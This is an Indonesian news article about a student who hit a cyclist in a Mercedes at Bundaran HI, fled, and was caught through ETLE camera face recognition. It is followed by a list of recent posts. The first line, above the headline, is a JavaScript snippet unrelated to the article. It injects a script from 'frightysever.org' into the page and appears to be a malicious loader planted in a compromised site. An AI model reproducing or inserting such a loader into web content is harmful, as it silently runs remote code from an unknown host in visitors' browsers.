(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Terekam Kamera ETLE, Ini Wajah Mahasiswa Penabrak Pesepeda di Bundaran HI


KANALKALIMANTAN.COM – Wajah mahasiswa pengemudi Mercedes-Benz yang menabrak pesepeda di kawasan Bundaran Hotel Indonesia (HI) sempat terdeteksi oleh kamera electronic traffic law enforcement (ETLE).

Berkat kecanggihan kamera itu pelaku yang sempat buron itu berhasil ditangkap polisi dan kini telah ditetapkan sebagai tersangka.

Pelaku berinisial MDA tersebut kabur usai menabrak dan melindas seorang pesepeda pada Jumat (12/3/2021).

Pihak kepolisian yang mengetahui kejadian itu lantas menggelar olah tempat kejadian perkara (TKP), memeriksa saksi, mengecek kamera pengawas atau CCTV dan juga kamera ETLE.

Baca Juga:
Pengunjung Kafe di Banjarbaru Berhamburan, Pelanggar Aturan PPKM Jalani Swab Antigen!

Dari hasil pemantauan CCTV polisi menemukan plat nomor mobil pelaku yakni B 1728 SAQ.

Sementara melalui hasil analisanya, kamera ETLE berhasil menangkap wajah dari pelaku.

“Kita lakukan capture wajah dengan analisa face recognition,” kata Dirlantas Polda Metro Jaya Kombes Sambodo Purnomo Yogo di Jakarta, Sabtu (13/3/2021).

Tidak cukup hanya mengantongi plat nomor dan wajah pelaku, polisi juga mencocokkan dengan database kendaraan bermotor (ranmor).

Dari situ, pelaku dapat diketahui identitasnya yakni seorang mahasiswa berusia 19 tahun. MDA akhirnya ditangkap di Bintaro.

Baca Juga:
Peringati Tahun Baru Saka 1943, Umat Hindu Banjarmasin Gelar Upacara Tawur Kesanga

Setelah melakukan pemeriksaan, pengemudi Mercy penabrak pesepeda di Bundaran HI itu ditetapkan sebagai tersangka dan ditahan 20 hari ke depan untuk penyelidikan lebih lanjut.

Sambodo menuturkan bahwa kamera ETLE tidak hanya berfungsi sebagai pemantau pelanggaran lalu lintas.

“Tetapi juga membantu pihak penyidik dalam rangka upaya pembuktian sebuah kasus pidana,” ucapnya.

Atas perbuatannya, MDA dikenakan Pasal 310 Ayat 3 Undang-undang Lalu Lintas dan Angkutan Jalan karena kelalaian yang menyebabkan laka lantas dengan korban luka berat dengan ancaman hukuman penjara lima tahun dan denda Rp 10 juta.

Selain itu, ia juga dikenakan Pasal 312 yakni tidak memberikan pertolongan terhadap korban atau tabrak lari dengan ancaman pidana penjara 3 tahun dan denda Rp 75 juta. (suara.com)


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.